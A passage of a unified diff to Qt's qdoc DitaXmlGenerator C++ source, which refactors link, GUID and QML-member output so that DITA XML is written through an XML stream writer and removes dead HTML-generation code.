QLatin1Char('.') && i > 2 && string.at(i - 2) == QLatin1Char('.'))) { // we escape '*/' and the last dot in 'e.g.' and 'i.e.' for the Javadoc generator APPEND("&#x"); xml += QString::number(ch.unicode(), 16); xml += QLatin1Char(';'); - } else { + } + else { if (!xml.isEmpty()) xml += ch; } @@ -3385,12 +3526,15 @@ QString DitaXmlGenerator::protect(const QString &string, const QString &outputEn #undef APPEND } -QString DitaXmlGenerator::fileBase(const Node *node) +/*! + Constructs a file name appropriate for the \a node + and returns the file name. + */ +QString DitaXmlGenerator::fileBase(const Node* node) const { QString result; - result = PageGenerator::fileBase(node); - +#if 0 if (!node->isInnerNode()) { switch (node->status()) { case Node::Compat: @@ -3403,47 +3547,14 @@ QString DitaXmlGenerator::fileBase(const Node *node) ; } } +#endif return result; } -#if 0 -QString DitaXmlGenerator::fileBase(const Node *node, - const SectionIterator& section) +QString DitaXmlGenerator::refForNode(const Node* node) { - QStringList::ConstIterator s = section.sectionNumber().end(); - QStringList::ConstIterator b = section.baseNameStack().end(); - - QString suffix; - QString base = fileBase(node); - - while (s != section.sectionNumber().begin()) { - --s; - --b; - if (!(*b).isEmpty()) { - base = *b; - break; - } - suffix.prepend("-" + *s); - } - return base + suffix; -} -#endif - -QString DitaXmlGenerator::fileName(const Node *node) -{ - if (node->type() == Node::Fake) { - if (static_cast<const FakeNode *>(node)->subType() == Node::ExternalPage) - return node->name(); - if (static_cast<const FakeNode *>(node)->subType() == Node::Image) - return node->name(); - } - return PageGenerator::fileName(node); -} - -QString DitaXmlGenerator::refForNode(const Node *node) -{ - const FunctionNode *func; - const TypedefNode *typedeffe; + const FunctionNode* func; + const TypedefNode* tdn; QString ref; switch (node->type()) { @@ -3455,9 +3566,9 @@ QString DitaXmlGenerator::refForNode(const Node *node) ref = node->name() + "-enum"; break; case Node::Typedef: - typedeffe = static_cast<const TypedefNode *>(node); - if (typedeffe->associatedEnum()) { - return refForNode(typedeffe->associatedEnum()); + tdn = static_cast<const TypedefNode *>(node); + if (tdn->associatedEnum()) { + return refForNode(tdn->associatedEnum()); } else { ref = node->name() + "-typedef"; @@ -3474,23 +3585,19 @@ QString DitaXmlGenerator::refForNode(const Node *node) ref += "-" + QString::number(func->overloadNumber()); } break; -#ifdef QDOC_QML case Node::Fake: if (node->subType() != Node::QmlPropertyGroup) break; case Node::QmlProperty: -#endif case Node::Property: ref = node->name() + "-prop"; break; -#ifdef QDOC_QML case Node::QmlSignal: ref = node->name() + "-signal"; break; case Node::QmlMethod: ref = node->name() + "-method"; break; -#endif case Node::Variable: ref = node->name() + "-var"; break; @@ -3500,12 +3607,74 @@ QString DitaXmlGenerator::refForNode(const Node *node) return registerRef(ref); } -QString DitaXmlGenerator::linkForNode(const Node *node, const Node *relative) +QString DitaXmlGenerator::guidForNode(const Node* node) { - QString link; - QString fn; - QString ref; + switch (node->type()) { + case Node::Namespace: + case Node::Class: + default: + break; + case Node::Enum: + return node->guid(); + case Node::Typedef: + { + const TypedefNode* tdn = static_cast<const TypedefNode*>(node); + if (tdn->associatedEnum()) + return guidForNode(tdn->associatedEnum()); + } + return node->guid(); + case Node::Function: + { + const FunctionNode* fn = static_cast<const FunctionNode*>(node); + if (fn->associatedProperty()) { + return guidForNode(fn->associatedProperty()); + } + else { + QString ref = fn->name(); + if (fn->overloadNumber() != 1) { + ref += "-" + QString::number(fn->overloadNumber()); + //qDebug() << "guidForNode() overloaded function:" << outFileName() << ref; + } + } + return fn->guid(); + } + case Node::Fake: + if (node->subType() != Node::QmlPropertyGroup) + break; + case Node::QmlProperty: + case Node::Property: + return node->guid(); + case Node::QmlSignal: + return node->guid(); + case Node::QmlMethod: + return node->guid(); + case Node::Variable: + return node->guid(); + case Node::Target: + return node->guid(); + } + return QString(); +} +/*! + Constructs a file name appropriate for the \a node and returns + it. If the \a node is not a fake node, or if it is a fake node but + it is neither an external page node nor an image node, call the + PageGenerator::fileName() function. + */ +QString DitaXmlGenerator::fileName(const Node* node) +{ + if (node->type() == Node::Fake) { + if (static_cast<const FakeNode*>(node)->subType() == Node::ExternalPage) + return node->name(); + if (static_cast<const FakeNode*>(node)->subType() == Node::Image) + return node->name(); + } + return PageGenerator::fileName(node); +} + +QString DitaXmlGenerator::linkForNode(const Node* node, const Node* relative) +{ if (node == 0 || node == relative) return QString(); if (!node->url().isEmpty()) @@ -3515,132 +3684,44 @@ QString DitaXmlGenerator::linkForNode(const Node *node, const Node *relative) if (node->access() == Node::Private) return QString(); - fn = fileName(node); - link += fn; + QString fn = fileName(node); + QString link = fn; if (!node->isInnerNode() || node->subType() == Node::QmlPropertyGroup) { - ref = refForNode(node); - if (relative && fn == fileName(relative) && ref == refForNode(relative)) + QString guid = guidForNode(node); + if (relative && fn == fileName(relative) && guid == guidForNode(relative)) { return QString(); - + } link += "#"; - link += ref; + link += guid; } return link; } -QString DitaXmlGenerator::refForAtom(Atom *atom, const Node * /* node */) +QString DitaXmlGenerator::refForAtom(Atom* atom, const Node* /* node */) { - if (atom->type() == Atom::SectionLeft) { + if (atom->type() == Atom::SectionLeft) return Doc::canonicalTitle(Text::sectionHeading(atom).toString()); - } - else if (atom->type() == Atom::Target) { + if (atom->type() == Atom::Target) return Doc::canonicalTitle(atom->string()); - } - else { - return QString(); - } + return QString(); } -void DitaXmlGenerator::generateFullName(const Node *apparentNode, - const Node *relative, - CodeMarker *marker, - const Node *actualNode) +void DitaXmlGenerator::generateFullName(const Node* apparentNode, + const Node* relative, + CodeMarker* marker, + const Node* actualNode) { if (actualNode == 0) actualNode = apparentNode; - out() << "<xref href=\"" << linkForNode(actualNode, relative); - if (true || relative == 0 || relative->status() != actualNode->status()) { - switch (actualNode->status()) { - case Node::Obsolete: - out() << "\" class=\"obsolete"; - break; - case Node::Compat: - out() << "\" class=\"compat"; - break; - default: - ; - } - } - out() << "\">"; - out() << protectEnc(fullName(apparentNode, relative, marker)); - out() << "</xref>"; + xmlWriter().writeStartElement("xref"); + QString href = linkForNode(actualNode, relative); + xmlWriter().writeAttribute("href",href); + writeCharacters(protectEnc(fullName(apparentNode, relative, marker))); + xmlWriter().writeEndElement(); // </xref> } -void DitaXmlGenerator::generateDetailedMember(const Node *node, - const InnerNode *relative, - CodeMarker *marker) -{ - const EnumNode *enume; - -#ifdef GENERATE_MAC_REFS - generateMacRef(node, marker); -#endif - if (node->type() == Node::Enum - && (enume = static_cast<const EnumNode *>(node))->flagsType()) { -#ifdef GENERATE_MAC_REFS - generateMacRef(enume->flagsType(), marker); -#endif - out() << "<h3 class=\"flags\">"; - out() << "<a name=\"" + refForNode(node) + "\"></a>"; - generateSynopsis(enume, relative, marker, CodeMarker::Detailed); - out() << "<br/>"; - generateSynopsis(enume->flagsType(), - relative, - marker, - CodeMarker::Detailed); - out() << "</h3>\n"; - } - else { - out() << "<h3 class=\"fn\">"; - out() << "<a name=\"" + refForNode(node) + "\"></a>"; - generateSynopsis(node, relative, marker, CodeMarker::Detailed); - out() << "</h3>\n"; - } - - generateStatus(node, marker); - generateBody(node, marker); - generateThreadSafeness(node, marker); - generateSince(node, marker); - - if (node->type() == Node::Property) { - const PropertyNode *property = static_cast<const PropertyNode *>(node); - Section section; - - section.members += property->getters(); - section.members += property->setters(); - section.members += property->resetters(); - - if (!section.members.isEmpty()) { - out() << "<p><b>Access functions:</b></p>\n"; - generateSectionList(section, node, marker, CodeMarker::Accessors); - } - - Section notifiers; - notifiers.members += property->notifiers(); - - if (!notifiers.members.isEmpty()) { - out() << "<p><b>Notifier signal:</b></p>\n"; - //out() << "<p>This signal is emitted when the property value is changed.</p>\n"; - generateSectionList(notifiers, node, marker, CodeMarker::Accessors); - } - } - else if (node->type() == Node::Enum) { - const EnumNode *enume = static_cast<const EnumNode *>(node); - if (enume->flagsType()) { - out() << "<p>The " << protectEnc(enume->flagsType()->name()) - << " type is a typedef for " - << "<xref href=\"qflags.html\">QFlags</xref><" - << protectEnc(enume->name()) - << ">. It stores an OR combination of " - << protectEnc(enume->name()) - << " values.</p>\n"; - } - } - generateAlsoList(node, marker); -} - -void DitaXmlGenerator::findAllClasses(const InnerNode *node) +void DitaXmlGenerator::findAllClasses(const InnerNode* node) { NodeList::const_iterator c = node->childNodes().constBegin(); while (c != node->childNodes().constEnd()) { @@ -3694,10 +3775,10 @@ void DitaXmlGenerator::findAllClasses(const InnerNode *node) } /*! - For generating the "New Classes... in 4.6" section on the - What's New in 4.6" page. + For generating the "New Classes... in 4.x" section on the + What's New in 4.x" page. */ -void DitaXmlGenerator::findAllSince(const InnerNode *node) +void DitaXmlGenerator::findAllSince(const InnerNode* node) { NodeList::const_iterator child = node->childNodes().constBegin(); while (child != node->childNodes().constEnd()) { @@ -3757,24 +3838,18 @@ void DitaXmlGenerator::findAllSince(const InnerNode *node) } } -#if 0 - const QRegExp versionSeparator("[\\-\\.]"); - const int minorIndex = version.indexOf(versionSeparator); - const int patchIndex = version.indexOf(versionSeparator, minorIndex+1); - version = version.left(patchIndex); -#endif - -void DitaXmlGenerator::findAllFunctions(const InnerNode *node) +void DitaXmlGenerator::findAllFunctions(const InnerNode* node) { NodeList::ConstIterator c = node->childNodes().begin(); while (c != node->childNodes().end()) { if ((*c)->access() != Node::Private) { if ((*c)->isInnerNode() && (*c)->url().isEmpty()) { - findAllFunctions(static_cast<const InnerNode *>(*c)); + findAllFunctions(static_cast<const InnerNode*>(*c)); } else if ((*c)->type() == Node::Function) { - const FunctionNode *func = static_cast<const FunctionNode *>(*c); + const FunctionNode* func = static_cast<const FunctionNode*>(*c); if ((func->status() > Node::Obsolete) && + !func->isInternal() && (func->metaness() != FunctionNode::Ctor) && (func->metaness() != FunctionNode::Dtor)) { funcIndex[(*c)->name()].insert(myTree->fullDocumentName((*c)->parent()), *c); @@ -3785,7 +3860,7 @@ void DitaXmlGenerator::findAllFunctions(const InnerNode *node) } } -void DitaXmlGenerator::findAllLegaleseTexts(const InnerNode *node) +void DitaXmlGenerator::findAllLegaleseTexts(const InnerNode* node) { NodeList::ConstIterator c = node->childNodes().begin(); while (c != node->childNodes().end()) { @@ -3799,7 +3874,7 @@ void DitaXmlGenerator::findAllLegaleseTexts(const InnerNode *node) } } -void DitaXmlGenerator::findAllNamespaces(const InnerNode *node) +void DitaXmlGenerator::findAllNamespaces(const InnerNode* node) { NodeList::ConstIterator c = node->childNodes().begin(); while (c != node->childNodes().end()) { @@ -3827,7 +3902,7 @@ void DitaXmlGenerator::findAllNamespaces(const InnerNode *node) } } -int DitaXmlGenerator::hOffset(const Node *node) +int DitaXmlGenerator::hOffset(const Node* node) { switch (node->type()) { case Node::Namespace: @@ -3835,12 +3910,6 @@ int DitaXmlGenerator::hOffset(const Node *node) return 2; case Node::Fake: return 1; -#if 0 - if (node->doc().briefText().isEmpty()) - return 1; - else - return 2; -#endif case Node::Enum: case Node::Typedef: case Node::Function: @@ -3850,7 +3919,7 @@ int DitaXmlGenerator::hOffset(const Node *node) } } -bool DitaXmlGenerator::isThreeColumnEnumValueTable(const Atom *atom) +bool DitaXmlGenerator::isThreeColumnEnumValueTable(const Atom* atom) { while (atom != 0 && !(atom->type() == Atom::ListRight && atom->string() == ATOM_LIST_VALUE)) { if (atom->type() == Atom::ListItemLeft && !matchAhead(atom, Atom::ListItemRight)) @@ -3860,12 +3929,12 @@ bool DitaXmlGenerator::isThreeColumnEnumValueTable(const Atom *atom) return false; } -const Node *DitaXmlGenerator::findNodeForTarget(const QString &target, - const Node *relative, - CodeMarker *marker, - const Atom *atom) +const Node* DitaXmlGenerator::findNodeForTarget(const QString& target, + const Node* relative, + CodeMarker* marker, + const Atom* atom) { - const Node *node = 0; + const Node* node = 0; if (target.isEmpty()) { node = relative; @@ -3889,10 +3958,9 @@ const Node *DitaXmlGenerator::findNodeForTarget(const QString &target, return node; } -const QPair<QString,QString> DitaXmlGenerator::anchorForNode(const Node *node) +const QPair<QString,QString> DitaXmlGenerator::anchorForNode(const Node* node) { QPair<QString,QString> anchorPair; - anchorPair.first = PageGenerator::fileName(node); if (node->type() == Node::Fake) { const FakeNode *fakeNode = static_cast<const FakeNode*>(node); @@ -3902,36 +3970,34 @@ const QPair<QString,QString> DitaXmlGenerator::anchorForNode(const Node *node) return anchorPair; } -QString DitaXmlGenerator::getLink(const Atom *atom, - const Node *relative, - CodeMarker *marker, - const Node** node) +QString DitaXmlGenerator::getLink(const Atom* atom, + const Node* relative, + CodeMarker* marker, + const Node** node) { QString link; *node = 0; inObsoleteLink = false; if (atom->string().contains(":") && - (atom->string().startsWith("file:") - || atom->string().startsWith("http:") - || atom->string().startsWith("https:") - || atom->string().startsWith("ftp:") - || atom->string().startsWith("mailto:"))) { - + (atom->string().startsWith("file:") + || atom->string().startsWith("http:") + || atom->string().startsWith("https:") + || atom->string().startsWith("ftp:") + || atom->string().startsWith("mailto:"))) { + link = atom->string(); } else { QStringList path; - if (atom->string().contains('#')) { + if (atom->string().contains('#')) path = atom->string().split('#'); - } - else { + else path.append(atom->string()); - } - - Atom *targetAtom = 0; + Atom* targetAtom = 0; QString first = path.first().trimmed(); + if (first.isEmpty()) { *node = relative; } @@ -3949,51 +4015,36 @@ QString DitaXmlGenerator::getLink(const Atom *atom, } if (*node) { - if (!(*node)->url().isEmpty()) + if (!(*node)->url().isEmpty()) { return (*node)->url(); - else + } + else { path.removeFirst(); + } } else { *node = relative; } - if (*node) { - if ((*node)->status() == Node::Obsolete) { - if (relative) { - if (relative->parent() != *node) { - if (relative->status() != Node::Obsolete) { - bool porting = false; - if (relative->type() == Node::Fake) { - const FakeNode* fake = static_cast<const FakeNode*>(relative); - if (fake->title().startsWith("Porting")) - porting = true; - } - QString name = marker->plainFullName(relative); - if (!porting && !name.startsWith("Q3")) { - if (obsoleteLinks) { - relative->doc().location().warning(tr("Link to obsolete item '%1' in %2") - .arg(atom->string()) - .arg(name)); - } - inObsoleteLink = true; - } - } - } + if (*node && (*node)->status() == Node::Obsolete) { + if (relative && (relative->parent() != *node) && + (relative->status() != Node::Obsolete)) { + bool porting = false; + if (relative->type() == Node::Fake) { + const FakeNode* fake = static_cast<const FakeNode*>(relative); + if (fake->title().startsWith("Porting")) + porting = true; } - else { - qDebug() << "Link to Obsolete entity" - << (*node)->name() << "no relative"; + QString name = marker->plainFullName(relative); + if (!porting && !name.startsWith("Q3")) { + if (obsoleteLinks) { + relative->doc().location().warning(tr("Link to obsolete item '%1' in %2") + .arg(atom->string()) + .arg(name)); + } + inObsoleteLink = true; } } -#if 0 - else if ((*node)->status() == Node::Deprecated) { - qDebug() << "Link to Deprecated entity"; - } - else if ((*node)->status() == Node::Internal) { - qDebug() << "Link to Internal entity"; - } -#endif } while (!path.isEmpty()) { @@ -4007,21 +4058,37 @@ QString DitaXmlGenerator::getLink(const Atom *atom, link = linkForNode(*node, relative); if (*node && (*node)->subType() == Node::Image) link = "images/used-in-examples/" + link; - if (targetAtom) - link += "#" + refForAtom(targetAtom, *node); + if (targetAtom) { + if (link.isEmpty()) + link = outFileName(); + QString guid = lookupGuid(link,refForAtom(targetAtom,*node)); + link += "#" + guid; + } +#if 0 + else if (link.isEmpty() && *node) { + link = outFileName() + "#" + (*node)->guid(); + } +#endif + else if (!link.isEmpty() && *node && link.endsWith(".xml")) { + link += "#" + (*node)->guid(); + } } } + if (!link.isEmpty() && link[0] == '#') { + link.prepend(outFileName()); + qDebug() << "LOCAL LINK:" << link; + } return link; } -void DitaXmlGenerator::generateIndex(const QString &fileBase, - const QString &url, - const QString &title) +void DitaXmlGenerator::generateIndex(const QString& fileBase, + const QString& url, + const QString& title) { myTree->generateIndex(outputDir() + "/" + fileBase + ".index", url, title); } -void DitaXmlGenerator::generateStatus(const Node *node, CodeMarker *marker) +void DitaXmlGenerator::generateStatus(const Node* node, CodeMarker* marker) { Text text; @@ -4046,13 +4113,13 @@ void DitaXmlGenerator::generateStatus(const Node *node, CodeMarker *marker) Atom *targetAtom = 0; if (fakeNode && node->type() == Node::Class) { QString oldName(node->name()); - targetAtom = myTree->findTarget(oldName.replace("3", ""), - fakeNode); + targetAtom = myTree->findTarget(oldName.replace("3",""),fakeNode); } if (targetAtom) { - text << Atom(Atom::Link, linkForNode(fakeNode, node) + "#" + - refForAtom(targetAtom, fakeNode)); + QString fn = fileName(fakeNode); + QString guid = lookupGuid(fn,refForAtom(targetAtom,fakeNode)); + text << Atom(Atom::GuidLink, fn + "#" + guid); } else text << Atom(Atom::Link, "Porting to Qt 4"); @@ -4070,56 +4137,13 @@ void DitaXmlGenerator::generateStatus(const Node *node, CodeMarker *marker) } } -#ifdef GENERATE_MAC_REFS -/* - No longer valid. - */ -void DitaXmlGenerator::generateMacRef(const Node *node, CodeMarker *marker) -{ - if (!pleaseGenerateMacRef || marker == 0) - return; - - QStringList macRefs = marker->macRefsForNode(node); - foreach (const QString &macRef, macRefs) - out() << "<a name=\"" << "//apple_ref/" << macRef << "\"></a>\n"; -} -#endif - -void DitaXmlGenerator::beginLink(const QString &link, - const Node *node, - const Node *relative, - CodeMarker *marker) +void DitaXmlGenerator::beginLink(const QString& link) { - Q_UNUSED(marker) - Q_UNUSED(relative) - this->link = link; - if (link.isEmpty()) { - if (showBrokenLinks) - writer.writeStartElement("i"); - } - else if (node == 0 || (relative != 0 && - node->status() == relative->status())) { - writer.writeStartElement("xref"); - writer.writeAttribute("href",link); - } - else { - switch (node->status()) { - case Node::Obsolete: - writer.writeStartElement("xref"); - writer.writeAttribute("href",link); - writer.writeAttribute("outputclass","obsolete"); - break; - case Node::Compat: - writer.writeStartElement("xref"); - writer.writeAttribute("href",link); - writer.writeAttribute("outputclass","compat"); - break; - default: - writer.writeStartElement("xref"); - writer.writeAttribute("href",link); - } - } + if (link.isEmpty()) + return; + xmlWriter().writeStartElement("xref"); + xmlWriter().writeAttribute("href",link); inLink = true; } @@ -4128,23 +4152,21 @@ void DitaXmlGenerator::endLink() if (inLink) { if (link.isEmpty()) { if (showBrokenLinks) - writer.writeEndElement(); // i + xmlWriter().writeEndElement(); // </i> } else { if (inObsoleteLink) { - writer.writeStartElement("sup"); - writer.writeCharacters("(obsolete)"); - writer.writeEndElement(); // sup + xmlWriter().writeStartElement("sup"); + xmlWriter().writeCharacters("(obsolete)"); + xmlWriter().writeEndElement(); // </sup> } - writer.writeEndElement(); // xref + xmlWriter().writeEndElement(); // </xref> } } inLink = false; inObsoleteLink = false; } -#ifdef QDOC_QML - /*! Generates the summary for the \a section. Only used for sections of QML element documentation. @@ -4152,126 +4174,85 @@ void DitaXmlGenerator::endLink() Currently handles only the QML property group. */ void DitaXmlGenerator::generateQmlSummary(const Section& section, - const Node *relative, - CodeMarker *marker) + const Node* relative, + CodeMarker* marker) { if (!section.members.isEmpty()) { + xmlWriter().writeStartElement("ul"); NodeList::ConstIterator m; - int count = section.members.size(); - bool twoColumn = false; - if (section.members.first()->type() == Node::QmlProperty) { - twoColumn = (count >= 5); - } - if (twoColumn) - out() << "<table class=\"qmlsummary\">\n"; - if (++numTableRows % 2 == 1) - out() << "<tr class=\"odd topAlign\">"; - else - out() << "<tr class=\"even topAlign\">"; - // << "<tr><td class=\"topAlign\">"; - out() << "<ul>\n"; - - int row = 0; m = section.members.begin(); while (m != section.members.end()) { - if (twoColumn && row == (int) (count + 1) / 2) - out() << "</ul></td><td class=\"topAlign\"><ul>\n"; - out() << "<li class=\"fn\">"; + xmlWriter().writeStartElement("li"); generateQmlItem(*m,relative,marker,true); - out() << "</li>\n"; - row++; + xmlWriter().writeEndElement(); // </li> ++m; } - out() << "</ul>\n"; - if (twoColumn) - out() << "</td></tr>\n</table>\n"; + xmlWriter().writeEndElement(); // </ul> } } /*! + zzz Outputs the html detailed documentation for a section on a QML element reference page. */ -void DitaXmlGenerator::generateDetailedQmlMember(const Node *node, - const InnerNode *relative, - CodeMarker *marker) +void DitaXmlGenerator::generateDetailedQmlMember(const Node* node, + const InnerNode* relative, + CodeMarker* marker) { + QString marked; const QmlPropertyNode* qpn = 0; -#ifdef GENERATE_MAC_REFS - generateMacRef(node, marker); -#endif - out() << "<div class=\"qmlitem\">"; if (node->subType() == Node::QmlPropertyGroup) { const QmlPropGroupNode* qpgn = static_cast<const QmlPropGroupNode*>(node); NodeList::ConstIterator p = qpgn->childNodes().begin(); - out() << "<div class=\"qmlproto\">"; - out() << "<table class=\"qmlname\">"; - + xmlWriter().writeStartElement("ul"); while (p != qpgn->childNodes().end()) { if ((*p)->type() == Node::QmlProperty) { qpn = static_cast<const QmlPropertyNode*>(*p); - - if (++numTableRows % 2 == 1) - out() << "<tr class=\"odd\">"; - else - out() << "<tr class=\"even\">"; - - out() << "<td><p>"; - //out() << "<tr><td>"; // old - out() << "<a name=\"" + refForNode(qpn) + "\"></a>"; + xmlWriter().writeStartElement("li"); + writeGuidAttribute((Node*)qpn); + QString attr; if (!qpn->isWritable(myTree)) - out() << "<span class=\"qmlreadonly\">read-only</span>"; - if (qpgn->isDefault()) - out() << "<span class=\"qmldefault\">default</span>"; + attr = "read-only"; + if (qpgn->isDefault()) { + if (!attr.isEmpty()) + attr += " "; + attr += "default"; + } + if (!attr.isEmpty()) + xmlWriter().writeAttribute("outputclass",attr); generateQmlItem(qpn, relative, marker, false); - out() << "</td></tr>"; + xmlWriter().writeEndElement(); // </li> } ++p; } - out() << "</table>"; - out() << "</div>"; + xmlWriter().writeEndElement(); // </ul> } else if (node->type() == Node::QmlSignal) { - const FunctionNode* qsn = static_cast<const FunctionNode*>(node); - out() << "<div class=\"qmlproto\">"; - out() << "<table class=\"qmlname\">"; - //out() << "<tr>"; - if (++numTableRows % 2 == 1) - out() << "<tr class=\"odd\">"; - else - out() << "<tr class=\"even\">"; - out() << "<td><p>"; - out() << "<a name=\"" + refForNode(qsn) + "\"></a>"; - generateSynopsis(qsn,relative,marker,CodeMarker::Detailed,false); - //generateQmlItem(qsn,relative,marker,false); - out() << "</p></td></tr>"; - out() << "</table>"; - out() << "</div>"; + Node* n = const_cast<Node*>(node); + xmlWriter().writeStartElement("ul"); + xmlWriter().writeStartElement("li"); + writeGuidAttribute(n); + marked = getMarkedUpSynopsis(n, relative, marker, CodeMarker::Detailed); + writeText(marked, marker, relative); + xmlWriter().writeEndElement(); // </li> + xmlWriter().writeEndElement(); // </ul> } else if (node->type() == Node::QmlMethod) { - const FunctionNode* qmn = static_cast<const FunctionNode*>(node); - out() << "<div class=\"qmlproto\">"; - out() << "<table class=\"qmlname\">"; - //out() << "<tr>"; - if (++numTableRows % 2 == 1) - out() << "<tr class=\"odd\">"; - else - out() << "<tr class=\"even\">"; - out() << "<td><p>"; - out() << "<a name=\"" + refForNode(qmn) + "\"></a>"; - generateSynopsis(qmn,relative,marker,CodeMarker::Detailed,false); - out() << "</p></td></tr>"; - out() << "</table>"; - out() << "</div>"; + Node* n = const_cast<Node*>(node); + xmlWriter().writeStartElement("ul"); + xmlWriter().writeStartElement("li"); + writeGuidAttribute(n); + marked = getMarkedUpSynopsis(n, relative, marker, CodeMarker::Detailed); + writeText(marked, marker, relative); + xmlWriter().writeEndElement(); // </li> + xmlWriter().writeEndElement(); // </ul> } - out() << "<div class=\"qmldoc\">"; generateStatus(node, marker); generateBody(node, marker); generateThreadSafeness(node, marker); generateSince(node, marker); generateAlsoList(node, marker); - out() << "</div>"; - out() << "</div>"; } /*! @@ -4279,7 +4260,7 @@ void DitaXmlGenerator::generateDetailedQmlMember(const Node *node, if there should be one. */ void DitaXmlGenerator::generateQmlInherits(const QmlClassNode* cn, - CodeMarker* marker) + CodeMarker* marker) { if (cn && !cn->links().empty()) { if (cn->links().contains(Node::InheritsLink)) { @@ -4289,7 +4270,8 @@ void DitaXmlGenerator::generateQmlInherits(const QmlClassNode* cn, const Node* n = myTree->findNode(strList,Node::Fake); if (n && n->subType() == Node::QmlClass) { const QmlClassNode* qcn = static_cast<const QmlClassNode*>(n); - out() << "<p class=\"centerAlign\">"; + xmlWriter().writeStartElement("p"); + xmlWriter().writeAttribute("outputclass","inherits"); Text text; text << "[Inherits "; text << Atom(Atom::LinkNode,CodeMarker::stringForNode(qcn)); @@ -4298,7 +4280,7 @@ void DitaXmlGenerator::generateQmlInherits(const QmlClassNode* cn, text << Atom(Atom::FormattingRight, ATOM_FORMATTING_LINK); text << "]"; generateText(text, cn, marker); - out() << "</p>"; + xmlWriter().writeEndElement(); // </p> } } } @@ -4309,7 +4291,7 @@ void DitaXmlGenerator::generateQmlInherits(const QmlClassNode* cn, if it is inherited by any other elements. */ void DitaXmlGenerator::generateQmlInheritedBy(const QmlClassNode* cn, - CodeMarker* marker) + CodeMarker* marker) { if (cn) { NodeList subs; @@ -4332,11 +4314,12 @@ void DitaXmlGenerator::generateQmlInheritedBy(const QmlClassNode* cn, is set to Node::Internal, do nothing. */ void DitaXmlGenerator::generateQmlInstantiates(const QmlClassNode* qcn, - CodeMarker* marker) + CodeMarker* marker) { const ClassNode* cn = qcn->classNode(); if (cn && (cn->status() != Node::Internal)) { - out() << "<p class=\"centerAlign\">"; + xmlWriter().writeStartElement("p"); + xmlWriter().writeAttribute("outputclass","instantiates"); Text text; text << "["; text << Atom(Atom::LinkNode,CodeMarker::stringForNode(qcn)); @@ -4350,7 +4333,7 @@ void DitaXmlGenerator::generateQmlInstantiates(const QmlClassNode* qcn, text << Atom(Atom::FormattingRight, ATOM_FORMATTING_LINK); text << "]"; generateText(text, qcn, marker); - out() << "</p>"; + xmlWriter().writeEndElement(); // </p> } } @@ -4362,12 +4345,13 @@ void DitaXmlGenerator::generateQmlInstantiates(const QmlClassNode* qcn, is set to Node::Internal, do nothing. */ void DitaXmlGenerator::generateInstantiatedBy(const ClassNode* cn, - CodeMarker* marker) + CodeMarker* marker) { if (cn && cn->status() != Node::Internal && !cn->qmlElement().isEmpty()) { const Node* n = myTree->root()->findNode(cn->qmlElement(),Node::Fake); if (n && n->subType() == Node::QmlClass) { - out() << "<p class=\"centerAlign\">"; + xmlWriter().writeStartElement("p"); + xmlWriter().writeAttribute("outputclass","instantiated-by"); Text text; text << "["; text << Atom(Atom::LinkNode,CodeMarker::stringForNode(cn)); @@ -4381,138 +4365,12 @@ void DitaXmlGenerator::generateInstantiatedBy(const ClassNode* cn, text << Atom(Atom::FormattingRight, ATOM_FORMATTING_LINK); text << "]"; generateText(text, cn, marker); - out() << "</p>"; + xmlWriter().writeEndElement(); // </p> } } } /*! - Generate the <page> element for the given \a node using the \a writer. - Return true if a <page> element was written; otherwise return false. - */ -bool DitaXmlGenerator::generatePageElement(QXmlStreamWriter& writer, - const Node* node, - CodeMarker* marker) const -{ - if (node->pageType() == Node::NoPageType) - return false; - if (node->name().isEmpty()) - return true; - if (node->access() == Node::Private) - return false; - if (!node->isInnerNode()) - return false; - - QString title; - QString rawTitle; - QString fullTitle; - const InnerNode* inner = static_cast<const InnerNode*>(node); - - writer.writeStartElement("page"); - QXmlStreamAttributes attributes; - QString t; - t.setNum(id++); - switch (node->type()) { - case Node::Fake: - { - const FakeNode* fake = static_cast<const FakeNode*>(node); - title = fake->fullTitle(); - break; - } - case Node::Class: - { - title = node->name() + " Class Reference"; - break; - } - case Node::Namespace: - { - rawTitle = marker->plainName(inner); - fullTitle = marker->plainFullName(inner); - title = rawTitle + " Namespace Reference"; - break; - } - default: - title = node->name(); - break; - } - writer.writeAttribute("id",t); - writer.writeStartElement("pageWords"); - writer.writeCharacters(title); - if (!inner->pageKeywords().isEmpty()) { - const QStringList& w = inner->pageKeywords(); - for (int i = 0; i < w.size(); ++i) { - writer.writeCharacters(" "); - writer.writeCharacters(w.at(i).toLocal8Bit().constData()); - } - } - writer.writeEndElement(); - writer.writeStartElement("pageTitle"); - writer.writeCharacters(title); - writer.writeEndElement(); - writer.writeStartElement("pageUrl"); - writer.writeCharacters(PageGenerator::fileName(node)); - writer.writeEndElement(); - writer.writeStartElement("pageType"); - switch (node->pageType()) { - case Node::ApiPage: - writer.writeCharacters("APIPage"); - break; - case Node::ArticlePage: - writer.writeCharacters("Article"); - break; - case Node::ExamplePage: - writer.writeCharacters("Example"); - break; - default: - break; - } - writer.writeEndElement(); - writer.writeEndElement(); - return true; -} - -/*! - Traverse the tree recursively and generate the <keyword> - elements. - */ -void DitaXmlGenerator::generatePageElements(QXmlStreamWriter& writer, const Node* node, CodeMarker* marker) const -{ - if (generatePageElement(writer, node, marker)) { - - if (node->isInnerNode()) { - const InnerNode *inner = static_cast<const InnerNode *>(node); - - // Recurse to write an element for this child node and all its children. - foreach (const Node *child, inner->childNodes()) - generatePageElements(writer, child, marker); - } - } -} - -/*! - Outputs the file containing the index used for searching the html docs. - */ -void DitaXmlGenerator::generatePageIndex(const QString& fileName, CodeMarker* marker) const -{ - QFile file(fileName); - if (!file.open(QFile::WriteOnly | QFile::Text)) - return ; - - QXmlStreamWriter writer(&file); - writer.setAutoFormatting(true); - writer.writeStartDocument(); - writer.writeStartElement("qtPageIndex"); - - generatePageElements(writer, myTree->root(), marker); - - writer.writeEndElement(); // qtPageIndex - writer.writeEndDocument(); - file.close(); -} - -#endif - -/*! Return the full qualification of the node \a n, but without the name of \a n itself. e.g. A::B::C */ @@ -4537,48 +4395,94 @@ QString DitaXmlGenerator::fullQualification(const Node* n) return fq; } +/*! + Outputs the <cxxClassDerivations> element. + \code + <cxxClassDerivations> + <cxxClassDerivation> + ... + </cxxClassDerivation> + ... + </cxxClassDerivations> + \endcode + + The <cxxClassDerivation> element is: + + \code + <cxxClassDerivation> + <cxxClassDerivationAccessSpecifier value="public"/> + <cxxClassBaseClass href="class_base">Base</cxxClassBaseClass> + </cxxClassDerivation> + \endcode + */ void DitaXmlGenerator::writeDerivations(const ClassNode* cn, CodeMarker* marker) { QList<RelatedClass>::ConstIterator r; int index; if (!cn->baseClasses().isEmpty()) { - 